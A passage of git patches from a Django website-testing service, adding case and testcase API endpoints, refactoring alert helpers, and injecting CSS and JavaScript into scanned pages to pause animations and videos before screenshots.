+ record_api_call(request, response.data, '200') + return response + + + + +def search_cases(request): + query = request.query_params.get('query') + cases = Case.objects.filter(user=request.user, name__icontains=query).order_by('-time_created') + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(cases, request) + serializer_context = {'request': request,} + serialized = CaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_case(request, id): + try: + case = Case.objects.get(id=id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if case.user != request.user: + data = {'reason': 'you cannot delete an Case you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + case.delete() + + data = {'message': 'Case has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + + +def create_testcase(request, delay=False): + case_id = request.data.get('case_id') + site_id = request.data.get('site_id') + updates = request.data.get('updates') + configs = request.data.get('configs') + + account_is_active = check_account(request) + if not account_is_active: + data = {'reason': 'account not funded',} + record_api_call(request, data, '402') + return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + + if case_id and site_id: + try: + case = Case.objects.get(id=case_id) + except: + data = {'reason': 'cannot find a Case with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + else: + data = {'reason': 'you must provide both site_id and case_id'} + record_api_call(request, data, '409') + return Response(data, status=status.HTTP_409_CONFLICT) + + steps = case.steps + for step in steps: + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['passed'] = None + + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['passed'] = None + + if updates != None: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'device': 'desktop', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 30, + } + + testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = request.user, + configs = configs, + steps = steps + ) + + if delay: + # pass the newly created Testcase to the backgroud task to run + create_testcase_bg.delay(testcase_id=testcase.id) + else: + # running testcase + asyncio.run( + Caser(testcase=testcase).run() + ) + testcase = Testcase.objects.get(id=testcase.id) + + serializer_context = {'request': request,} + data = TestcaseSerializer(testcase, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + +def get_testcases(request): + testcase_id = request.query_params.get('testcase_id') + site_id = request.query_params.get('site_id') + + if testcase_id != None: + try: + testcase = Testcase.objects.get(id=testcase_id) + except: + data = {'reason': 'cannot find a Testcase with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if testcase.user != request.user: + data = {'reason': 'you cannot retrieve an Testcase you do not own',} + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = TestcaseSerializer(testcase, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + if site_id != None: + try: + site = Site.objects.get(id=site_id, user=request.user) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + testcases = Testcase.objects.filter(site=site).order_by('-time_created') + + else: + testcases = Testcase.objects.filter(user=request.user).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(testcases, request) + serializer_context = {'request': request,} + serialized = TestcaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + +def delete_testcase(request, id): + try: + testcase = Testcase.objects.get(id=id) + except: + data = {'reason': 'cannot find a Testcase with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if request.user != testcase.user: + data = {'reason': 'you cannot delete an Testcase you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + testcase.delete() + + data = {'message': 'Testcase has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + + + + + def get_logs(request): log_id = request.query_params.get('log_id') diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index beaae253..afc50283 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -5,6 +5,7 @@ from ...utils.wordpress import Wordpress as W from ...utils.wordpress_p import Wordpress as W_P from ...utils.automations import automation +from ...utils.caser import Caser import boto3, asyncio from scanerr import settings @@ -167,6 +168,72 @@ def delete_report_s3(report_id): + +def create_testcase_task( + testcase_id=None, + site_id=None, + case_id=None, + updates=None, + configs=None, + automation_id=None + ): + + if testcase_id != None: + testcase = Testcase.objects.get(id=testcase_id) + + else: + case = Case.objects.get(id=case_id) + site = Site.objects.get(id=site_id) + steps = case.steps + for step in steps: + if step['action']['type'] != None: + step['action']['time_created'] = None + step['action']['time_completed'] = None + step['action']['exception'] = None + step['action']['passed'] = None + + if step['assertion']['type'] != None: + step['assertion']['time_created'] = None + step['assertion']['time_completed'] = None + step['assertion']['exception'] = None + step['assertion']['passed'] = None + + if updates != None: + for update in updates: + steps[int(update['index'])]['action']['value'] = update['value'] + + if configs is None: + configs = { + 'window_size': '1920,1080', + 'device': 'desktop', + 'interval': 5, + 'min_wait_time': 10, + 'max_wait_time': 30, + } + + testcase = Testcase.objects.create( + case = case, + case_name = case.name, + site = site, + user = site.user, + configs = configs, + steps = steps + ) + + + # running testcase + testresult = asyncio.run( + Caser(testcase=testcase).run() + ) + + if automation_id: + automation(automation_id, testcase.id) + + return + + + + def migrate_site_task( login_url, admin_url, @@ -240,4 +307,5 @@ def migrate_site_task( + \ No newline at end of file diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index f83b92fa..f0d0f7ab 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -28,6 +28,12 @@ path('home-stats', views.HomeStats.as_view(), name='home-stats'), path('process', views.Processes.as_view(), name='process'), path('process/', views.ProcessDetail.as_view(), name='process-detail'), + path('case', views.Cases.as_view(), name='case'), + path('case/', views.CaseDetail.as_view(), name='case-detail'), + path('case/search', views.CasesSearch.as_view(), name='case-search'), + path('testcase', views.Testcases.as_view(), name='testcase'), + path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'), + path('testcase/', views.TestcaseDetail.as_view(), name='testcase-detail'), path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'), path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'), path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 1dea4080..f6c4789a 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -323,6 +323,107 @@ def delete(self, request, id): + + + + + +class Cases(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_case(request) + return response + + def get(self, request): + response = get_cases(request) + return response + + + +class CasesSearch(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = search_cases(request) + return response + + + +class CaseDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + case = get_object_or_404(Case, pk=id) + if case.user != request.user: + data = {'reason': 'you cannot retrieve Cases you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = CaseSerializer(case, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_case(request, id) + return response + + + +class Testcases(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_testcase(request) + return response + + def get(self, request): + response = get_testcases(request) + return response + + + +class TestcaseDelay(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_testcase(request, delay=True) + return response + + + +class TestcaseDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + testcase = get_object_or_404(Testcase, pk=id) + if testcase.user != request.user: + data = {'reason': 'you cannot retrieve Testcases you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = TestcaseSerializer(testcase, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_testcase(request, id) + return response + + + + + class Logs(APIView): permission_classes = (AllowAny,) http_method_names = ['get',] From 9bdedc70e74abb3bcf520044e3cc0c491832180f Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 11 Jul 2022 08:48:38 -0500 Subject: [PATCH 109/277] formatting elm text in assertion --- app/api/utils/caser.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index 4684456a..4be1a034 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -236,6 +236,7 @@ async def run(self): selector = await self.format_element(step["assertion"]["element"]) await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent') + elementText = elementText.strip() print(f'elementText => {elementText}') print(f'value => {step["assertion"]["value"]}') assert elementText == step["assertion"]["value"] From 8098e876cb212f9ad4ae9e1e98020cdd752c86aa Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 15 Jul 2022 13:03:14 -0500 Subject: [PATCH 110/277] updating notes --- app/api/models.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/models.py b/app/api/models.py index c592409c..3f8545e5 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -317,7 +317,7 @@ class Schedule(models.Model): automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) - task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test + task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True) begin_date = models.DateTimeField(default=datetime.now, serialize=True) time = models.CharField(max_length=100, null=True, blank=True, serialize=True) From de33f8d531dbbb8028f06bbbb5a6e5e173adfc3d Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 15 Jul 2022 13:04:00 -0500 Subject: [PATCH 111/277] cleaning things up --- app/api/tasks.py | 6 +++ app/api/utils/alerts.py | 107 +++++++++++++++++-------------------- app/api/v1/ops/services.py | 10 ++-- 3 files changed, 60 insertions(+), 63 deletions(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index 112c6f39..e10724f0 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -38,6 +38,8 @@ def create_scan_bg( automation_id=None, configs=None, tags=None, + *args, + **kwargs, ): create_scan_task( scan_id, @@ -62,6 +64,8 @@ def create_test_bg( pre_scan=None, post_scan=None, tags=None, + *args, + **kwargs, ): create_test_task( test_id, @@ -114,6 +118,8 @@ def create_testcase_bg( automation_id=None, configs=None, type=None, + *args, + **kwargs, ): create_testcase_task(testcase_id, site_id, case_id, updates, configs, automation_id) logger.info('Ran full testcase') diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index 32bc9405..2b4024cc 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -135,12 +135,6 @@ def create_exp_str(item, automation, is_email=False): - - - - - - def create_json_data(data, obj): json_data = data item = obj @@ -242,7 +236,28 @@ def create_json_data(data, obj): +def get_item(object_id): + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + except: + return {'success': False} + + data = { + 'item_type': item_type, + 'item': item, + 'success': True + } + return data @@ -254,19 +269,13 @@ def automation_email(email=None, automation_id=None, object_id=None): schedule = automation.schedule site = schedule.site - try: - item = Test.objects.get(id=uuid.UUID(object_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(object_id)) - item_type = 'Scan' - except: - try: - item = Testcase.objects.get(id=uuid.UUID(object_id)) - item_type = 'Testcase' - except: - return {'success': False} + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] exp_list = create_exp_str(item=item, automation=automation, is_email=True) @@ -396,19 +405,13 @@ def automation_webhook( schedule = automation.schedule site = schedule.site - try: - item = Test.objects.get(id=uuid.UUID(object_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(object_id)) - item_type = 'Scan' - except: - try: - item = Testcase.objects.get(id=uuid.UUID(object_id)) - item_type = 'Testcase' - except: - return {'success': False} + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] pre_json_data = json.loads(request_data) json_data = create_json_data(data=pre_json_data, obj=item) @@ -445,19 +448,13 @@ def automation_phone(phone_number=None, automation_id=None, object_id=None): schedule = automation.schedule site = schedule.site - try: - item = Test.objects.get(id=uuid.UUID(object_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(object_id)) - item_type = 'Scan' - except: - try: - item = Testcase.objects.get(id=uuid.UUID(object_id)) - item_type = 'Testcase' - except: - return {'success': False} + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] exp_str = create_exp_str(item=item, automation=automation) @@ -504,19 +501,13 @@ def automation_slack(automation_id=None, object_id=None): schedule = automation.schedule site = schedule.site - try: - item = Test.objects.get(id=uuid.UUID(object_id)) - item_type = 'Test' - except: - try: - item = Scan.objects.get(id=uuid.UUID(object_id)) - item_type = 'Scan' - except: - try: - item = Testcase.objects.get(id=uuid.UUID(object_id)) - item_type = 'Testcase' - except: - return {'success': False} + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] exp_str = create_exp_str(item=item, automation=automation) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 2dcce560..e58f3567 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -874,7 +874,7 @@ def create_or_update_schedule(request): else: if Automation.objects.filter(schedule=schedule).exists(): automation = Automation.objects.filter(schedule=schedule)[0] - auto_id = automation.id + auto_id = str(automation.id) else: auto_id = None @@ -884,7 +884,7 @@ def create_or_update_schedule(request): 'site_id': str(site.id), 'configs': configs, 'type': test_type, - 'automation_id': str(auto_id) + 'automation_id': auto_id } if task_type == 'scan': @@ -893,14 +893,14 @@ def create_or_update_schedule(request): 'site_id': str(site.id), 'configs': configs, 'type': scan_type, - 'automation_id': str(auto_id) + 'automation_id': auto_id } if task_type == 'report': task = 'api.tasks.create_report_bg' arguments = { 'site_id': str(site.id), - 'automation_id': str(auto_id) + 'automation_id': auto_id } @@ -911,7 +911,7 @@ def create_or_update_schedule(request): 'case_id': str(case_id), 'updates': updates, 'configs': configs, - 'automation_id': str(auto_id), + 'automation_id': auto_id, } format_str = '%m/%d/%Y' From cef4951f07ecd16b6493a3150cb02974a33d4694 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 22 Aug 2022 10:10:24 -0500 Subject: [PATCH 112/277] added new animation & video pausing for img scans --- app/api/utils/image.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 28e7f010..8d22f886 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -126,6 +126,12 @@ def scan(self, site, configs, driver=None,): max_wait_time=int(configs['max_wait_time']), ) + # inserting animation pausing script + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + + # inserting video pausing scripts + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') @@ -248,6 +254,12 @@ def _scan(self, site, configs, driver=None,): max_wait_time=int(configs['max_wait_time']), ) + # inserting animation pausing script + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + + # inserting video pausing scripts + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') @@ -418,6 +430,12 @@ async def scan_p(self, site, configs): # requesting site url await page.goto(site.site_url, page_options) + # inserting animation pausing script + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + + # inserting video pausing scripts + await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': @@ -568,6 +586,11 @@ async def _scan_p(self, site, configs): # requesting site url await page.goto(site.site_url, page_options) + # inserting animation pausing script + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + + # inserting video pausing scripts + await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': From 9c4fcf5b94864c46310eb50d6502683008b90a60 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 22 Aug 2022 11:33:32 -0500 Subject: [PATCH 113/277] fixing puppeter exception w/ js evaluaion --- app/api/utils/image.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 8d22f886..1fe0bda8 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -434,7 +434,7 @@ async def scan_p(self, site, configs): await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") # inserting video pausing scripts - await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + await page.evaluate("document.querySelectorAll('video').forEach(vid => vid.pause());") # mask all listed ids @@ -590,7 +590,7 @@ async def _scan_p(self, site, configs): await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") # inserting video pausing scripts - await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + await page.evaluate("document.querySelectorAll('video').forEach(vid => vid.pause());") # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': From 84a6ce352edca6a4ba9a797758f65713b2062659 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 22 Aug 2022 12:57:18 -0500 Subject: [PATCH 114/277] handleing possible exceptions --- app/api/utils/image.py | 43 +++++++++++++++++++++++++++++++++--------- 1 file changed, 34 insertions(+), 9 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 1fe0bda8..b311f13d 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -127,10 +127,16 @@ def scan(self, site, configs, driver=None,): ) # inserting animation pausing script - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - + try: + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') + # inserting video pausing scripts - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + try: + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannnot pause videos') # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': @@ -255,10 +261,17 @@ def _scan(self, site, configs, driver=None,): ) # inserting animation pausing script - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + try: + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') # inserting video pausing scripts - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + try: + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannnot pause videos') + # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': @@ -431,10 +444,16 @@ async def scan_p(self, site, configs): await page.goto(site.site_url, page_options) # inserting animation pausing script - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + try: + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') # inserting video pausing scripts - await page.evaluate("document.querySelectorAll('video').forEach(vid => vid.pause());") + try: + await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannot pause videos') # mask all listed ids @@ -587,10 +606,16 @@ async def _scan_p(self, site, configs): await page.goto(site.site_url, page_options) # inserting animation pausing script - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + try: + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') # inserting video pausing scripts - await page.evaluate("document.querySelectorAll('video').forEach(vid => vid.pause());") + try: + await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannot pause videos') # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': From 7a96f0b503c8e6a7f58d715a03d5687e9ced84b3 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 23 Aug 2022 11:52:29 -0500 Subject: [PATCH 115/277] added video pausing function --- app/api/utils/image.py | 33 ++++++++++++++++++++------------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index b311f13d..4a6be9eb 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -44,7 +44,7 @@ def screeshot(site, driver=None) -> grabs single def __init__(self): - # Masking scripts + # scripts self.set_jquery = ( """ var jq = document.createElement('script'); @@ -53,6 +53,7 @@ def __init__(self): """ ) + self.mask_function = ( """ (function($){ @@ -128,7 +129,7 @@ def scan(self, site, configs, driver=None,): # inserting animation pausing script try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") except: print('cannot pause animations') @@ -262,7 +263,7 @@ def _scan(self, site, configs, driver=None,): # inserting animation pausing script try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = 